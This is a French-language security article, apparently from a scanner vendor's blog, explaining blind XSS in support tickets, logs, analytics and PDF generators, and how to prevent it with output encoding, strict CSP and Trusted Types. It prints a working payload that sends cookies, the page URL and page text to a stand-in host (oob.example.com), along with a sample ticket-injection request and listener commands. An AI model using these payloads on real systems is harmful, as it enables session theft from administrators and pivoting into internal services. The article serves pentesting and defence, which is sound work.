Le payload s'exécute dans un contexte que l'attaquant ne peut pas observer, comme un panneau d'administration, un système de logs ou un outil interne.
TL;DR
Le XSS à l'aveugle est une variante de XSS stocké où l'attaquant ne peut pas directement observer où ni quand le payload s'exécute. Le payload est injecté via une surface accessible aux utilisateurs — un formulaire de contact, un ticket de support, une note de commande, un en-tête User-Agent — et se déclenche plus tard dans un contexte interne ou administratif auquel l'attaquant n'a pas accès : un tableau de bord de helpdesk, un panneau analytique, une visionneuse de logs ou un pipeline de génération PDF.
Comme l'attaquant ne peut pas voir la réponse où le payload s'exécute, les outils de test XSS standard échouent complètement. La vulnérabilité est invisible sans infrastructure hors-bande (OOB) : le payload doit notifier l'attaquant quand il se déclenche, portant suffisamment de contexte — l'URL de la page, le contenu DOM, les cookies — pour être actionnable.
Le XSS à l'aveugle occupe l'extrémité haute du spectre de sévérité XSS. Le payload s'exécute typiquement dans une session d'administrateur ou d'agent de support privilégiée (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.5–9.1 Critique), et les possibilités post-exploitation incluent le vol de session complet, le pivot vers le réseau interne via fetch(), et les backdoors persistants dans l'outillage admin.
Le cycle de vie du XSS à l'aveugle diffère du XSS stocké standard dans le contexte d'exécution et la méthode de détection :
| Surface | Délai typique | Contexte d'exécution | Risque |
|---|---|---|---|
| Corps de ticket de support | 1 min – 4 heures | Navigateur de l'agent de support | Critique — vol de session |
| Message de formulaire de contact | 1 min – 12 heures | Client email admin / tableau de bord | Critique |
| En-tête User-Agent | 1 min – 24 heures | Visionneuse de logs / analytique | Élevé |
En-tête Referer | 1 min – 24 heures | Tableau de bord analytique | Élevé |
| Paramètres UTM | 1 min – 48 heures | Analytique marketing | Élevé |
| Champs de génération PDF | Quasi-immédiat | Chrome sans tête sur IP serveur | Critique — pivot SSRF |
| Visionneuse de logs webhook | 1 min – 24 heures | Tableau de bord admin | Critique |
| Métadonnées EXIF | Variable | Interface de gestion des médias | Élevé |
| Panneau de modération AI | Variable | Tableau de bord de revue LLM | Critique (nouveau vecteur) |
Les endpoints de génération PDF sont particulièrement dangereux : wkhtmltopdf et Chrome sans tête exécutent du JavaScript lors du rendu PDF sur l'adresse IP du serveur. Un XSS à l'aveugle se déclenchant ici permet à fetch() d'atteindre des services internes — métadonnées cloud sur 169.254.169.254, endpoints d'API privés, et bases de données internes — produisant une chaîne d'attaque XSS + SSRF combinée.
Tous les outils de XSS à l'aveugle en production implémentent le même modèle à trois composants :
/xss/TICKET-4892-USER-alice/callback)Une seule politique CSP peut bloquer une méthode d'exfiltration mais pas les autres. Ce payload à trois sondes tente tous les canaux disponibles :
// Payload XSS à l'aveugle résistant au CSP
// Tente beacon image, fetch et injection de script en séquence
(function(token) {
var oob = 'https://oob.example.com/xss/' + token;
var data = '?l=' + btoa(location.href).slice(0, 64)
+ '&c=' + btoa(document.cookie).slice(0, 64)
+ '&d=' + btoa(document.body.innerText).slice(0, 128);
// Méthode 1 : beacon image (bloqué par les restrictions img-src)
new Image().src = oob + data;
// Méthode 2 : fetch no-cors (bloqué par connect-src)
try { fetch(oob + data, { mode: 'no-cors' }); } catch(e) {}
// Méthode 3 : injection de balise script (bloqué par script-src)
var s = document.createElement('script');
s.src = oob + data;
document.head && document.head.appendChild(s);
}('UNIQUE_TOKEN_PAR_INJECTION'));Intégré dans un vecteur de payload standard :
POST /api/support-tickets
Content-Type: application/json
{
"subject": "Problème de connexion",
"body": "Je ne peux pas accéder à mon compte.<script src='https://oob.example.com/xss/TICKET-TOKEN/payload.js'></script>"
}| Plateforme | Hébergement | Protocoles | Fonctionnalités | Meilleur usage |
|---|---|---|---|---|
| XSS Hunter Express | Auto-hébergé (Docker + PostgreSQL) | HTTP | Capture d'écran, snapshot DOM, localStorage, alertes Discord/Slack/email | Opérations pentest complètes |
| Interactsh | Auto-hébergé ou oast.fun | HTTP, DNS, SMTP, LDAP | Multi-protocole, polling API HTTP, intégration pipeline CI | Pipelines automatisés |
| BXSS Hunter | Géré (bxsshunter.com) | HTTP | Géré, pas d'infra requise | Engagements rapides |
| xless | AWS Lambda (serverless) | HTTP | Coût infra minimal, serverless | Opérations persistantes à petit budget |
Schéma OOB BreachVex : Chaque injection reçoit un token unique intégré dans l'URL de callback, et le contexte d'injection est conservé sur une fenêtre de corrélation de plusieurs jours. Les callbacks arrivant dans cette fenêtre sont corrélés à la surface d'injection correcte et présentés comme des findings d'exécution confirmée cross-origin.
CVE-2025-0133 — Palo Alto GlobalProtect (découverte XBOW) Le système de pentest automatisé XBOW a découvert un XSS à l'aveugle dans GlobalProtect via une injection systématique de payload dans tous les champs accessibles aux utilisateurs et une surveillance persistante des callbacks OOB. La vulnérabilité permettait à des utilisateurs non authentifiés d'injecter des payloads qui se déclenchaient dans l'interface de gestion de l'administrateur. L'approche XBOW — 84,6 % de couverture sur un benchmark de 104 défis — démontre que la chasse au XSS à l'aveugle à grande échelle est désormais commercialement viable.
HackerOne #3357808 — XSS stocké Nextcloud via SVG (variante à l'aveugle) Un fichier SVG uploadé dans un stockage cloud se rendait en ligne dans l'interface de gestion des médias admin. Le payload se déclenchait quand un administrateur naviguait dans le dossier partagé — un scénario de XSS à l'aveugle où le déposant original du fichier (l'attaquant) n'avait aucune visibilité sur quand ni dans quelle session le payload s'exécuterait. Prime : 150 $.
Schéma de tableau de bord admin interne Le vecteur de XSS à l'aveugle d'entreprise le plus courant : les clients soumettent des demandes de support via un formulaire web. Le contenu du ticket est rendu dans un CRM ou un outil helpdesk — Zendesk, Freshdesk, constructions personnalisées — qui affiche le HTML brut des entrées client dans les vues agent. Les payloads soumis via le formulaire de contact public se déclenchent dans les navigateurs des agents quelques minutes plus tard. Le cookie de session de l'agent, qui accorde un accès CRM complet, est exfiltré vers le serveur OOB de l'attaquant.
# Configurer un écouteur Interactsh
interactsh-client -server https://oast.fun -v
# Utiliser le FQDN généré dans le payload :
# "><script src="https://abc123.oast.fun/payload.js"></script>Les outils DAST standards ne peuvent pas découvrir le XSS à l'aveugle sans infrastructure OOB. Outils qui le supportent :
--blind <oob-url> — injecte des payloads OOB et surveille les callbacksBreachVex détecte le XSS à l'aveugle via un registre de tokens OOB unique par injection : chaque endpoint d'écriture reçoit un token distinct intégré dans l'URL de callback, et le moteur corrèle les callbacks à leurs surfaces d'injection tout au long de la session de scan.
L'écart le plus critique : les équipes de développement durcissent les pages publiques mais négligent les outils internes, supposant que les utilisateurs admin sont de confiance. L'exigence d'encodage s'applique également aux deux :
# Template Django — toujours utiliser le filtre | e pour les entrées utilisateur stockées
# {{ ticket.subject | e }} → encodage en entités HTML (sûr)
# {{ ticket.subject }} → peut être sûr ou non selon le paramètre autoescape
# {{ ticket.subject | safe }} → DANGEREUX : contourne entièrement l'encodage
# Jinja2 — autoescape doit être True globalement, surtout pour les templates admin
from jinja2 import Environment
env = Environment(autoescape=True) # défaut sûr pour tous les templatesLes interfaces admin ont typiquement un CSP moins strict que les pages publiques. Appliquer une politique stricte spécifiquement sur les routes admin :
# CSP panneau admin — plus stricte que le site public
Content-Security-Policy:
default-src 'none';
script-src 'nonce-ALEATOIRE_PAR_REQUETE' 'strict-dynamic';
connect-src 'self';
img-src 'self' data:;
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';Un CSP qui restreint connect-src mais autorise img-src data: ou script-src https: permet quand même des callbacks de XSS à l'aveugle via beacon image ou injection de script distant. Fermer simultanément les trois canaux : img-src 'self', connect-src 'none', script-src 'nonce-...'.
// Politique Trusted Types pour panneau admin
// Applique la sanitization DOMPurify sur toutes les assignations innerHTML
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const policy = window.trustedTypes.createPolicy('admin-default', {
createHTML: (input) => DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'p', 'br', 'strong', 'em'],
ALLOWED_ATTR: [], // pas d'attributs dans l'affichage des tickets
}),
});
// Remplacer tout : element.innerHTML = ticketContent
// Par : element.innerHTML = policy.createHTML(ticketContent)
}Le XSS à l'aveugle est une variante de XSS stocké où le payload se déclenche dans un contexte que l'attaquant ne peut pas observer — un panneau d'administration, un tableau de bord de tickets de support, une visionneuse de logs ou un générateur de PDF. L'attaquant ne peut pas voir la réponse où l'exécution se produit. La détection nécessite une infrastructure hors-bande (OOB) : le payload appelle à la maison un serveur contrôlé par l'attaquant quand il se déclenche.
L'attaquant intègre un token unique par injection dans une URL de callback. Quand le payload se déclenche dans le navigateur de la victime, il envoie une requête au serveur OOB de l'attaquant contenant le token plus les données exfiltrées (cookies, contenu DOM, URL). Le serveur associe le token de callback au contexte d'injection, alertant l'attaquant sur la surface qui a répondu.
XSS Hunter Express (auto-hébergé, PostgreSQL, capture de captures d'écran), Interactsh (projectdiscovery, OOB multi-protocole : HTTP/DNS/SMTP), BXSS Hunter (service géré) et xless (AWS Lambda serverless). BreachVex utilise son propre registre de tokens hors-bande, conservant le contexte d'injection sur une fenêtre de plusieurs jours pour capter les callbacks différés.
Systèmes de tickets de support (délai payload : 1 min à 4 heures), endpoints de génération PDF (immédiat — s'exécute sur l'IP du serveur lors du rendu), visionneuses de logs webhook (1 min à 24 heures), tableaux de bord analytiques (paramètres UTM, en-têtes Referer), éditeurs de templates email (1 heure à 7 jours), et panneaux de modération de contenu AI affichant le contenu utilisateur signalé.
Oui. Un payload XSS à l'aveugle se déclenchant dans un navigateur admin peut utiliser fetch() pour effectuer des requêtes vers des services internes inaccessibles depuis internet. La réponse est envoyée au serveur OOB de l'attaquant. Cela convertit le XSS en capacité équivalente au SSRF, donnant aux attaquants accès aux API internes, aux services de métadonnées et aux endpoints de credentials cloud.
La pile de prévention est identique au XSS stocké : encodage de sortie au contexte de rendu pour toutes les données stockées, sanitization DOMPurify pour tout HTML créé par l'utilisateur rendu dans les vues admin, CSP stricte avec script-src basé sur des nonces pour les pages du panneau admin, et application des Trusted Types. Les interfaces admin sont souvent moins durcies que les interfaces publiques — c'est l'écart de priorité.
Le délai varie selon la surface : les générateurs PDF se déclenchent presque immédiatement (Chrome sans tête rend lors de la génération). Les tableaux de bord de tickets de support se déclenchent quand un agent de support ouvre le ticket — minutes à heures. Les éditeurs de templates email se déclenchent quand l'email est ouvert dans un client webmail — heures à jours. Les tableaux de bord analytiques se déclenchent lors de la prochaine revue analytique admin.
Le XSS à l'aveugle cible des sessions admin ou internes privilégiées, donc le Scope est Changed et l'Impact est typiquement High/High/None : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.5 à 9.1 Critique, selon le niveau de privilège requis pour l'injection initiale.